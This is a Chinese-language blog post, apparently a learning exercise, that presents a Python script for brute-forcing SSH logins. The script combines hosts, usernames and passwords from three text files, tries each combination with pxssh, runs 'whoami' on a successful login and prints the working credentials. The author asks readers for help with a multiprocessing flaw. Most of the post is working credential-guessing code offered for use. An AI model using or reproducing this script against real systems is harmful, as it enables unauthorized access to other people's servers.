ssh爆破(python脚本)

最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本

ssh爆破(python脚本)

#!/usr/local/bin/ python
# -*- coding: UTF-8 -*- __author__ = 'yangxiaodi' from multiprocessing import Pool
from pexpect import pxssh
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" ) datas=[]
def connect():
cmd = 'whoami'
for data in datas:
host = data.split(':',2)[0]
user = data.split(':',2)[1]
password = data.split(':',2)[2]
try:
s = pxssh.pxssh(timeout=3)
s.login(host,user,password)
s.sendline(cmd)
s.prompt()
print '[+] ssh host:'+host+' user:'+user+' password:'+password+' 执行命令:'+s.before except:
print u'错误 [-] ssh host:'+host+' user:'+user+' password:'+password def read_file(filepath):
f = open(filepath).readlines()
return f def get_host_user_pass():
host = read_file('host.txt')
for h in host:
h = h.replace('\n','')
user = read_file('user.txt')
for u in user:
u = u.replace('\n','')
passs = read_file('pass.txt')
for pas in passs:
pas = pas.replace('\n','')
datas.append(h+':'+u+':'+pas)
return True resu = []
get_host_user_pass()
p = Pool()
resu.append(p.apply_async(connect,args=()))
p.close()
p.join()
for res in resu:
print res.get()
print 'all subprocesses done.'

  本地要有三个文件  user.txt , host.txt , pass.txt

这次没在脚本做判断,遇到成功的还是继续爆破成功的ip,原因是用了多进程,然后不会改,留到后面再来解决。(有人帮忙吗)

 
上一篇:CTF-密码学-36进制


下一篇:含服务端,客户端,数据库的注册/登录/聊天/在线/离线查看的聊天demo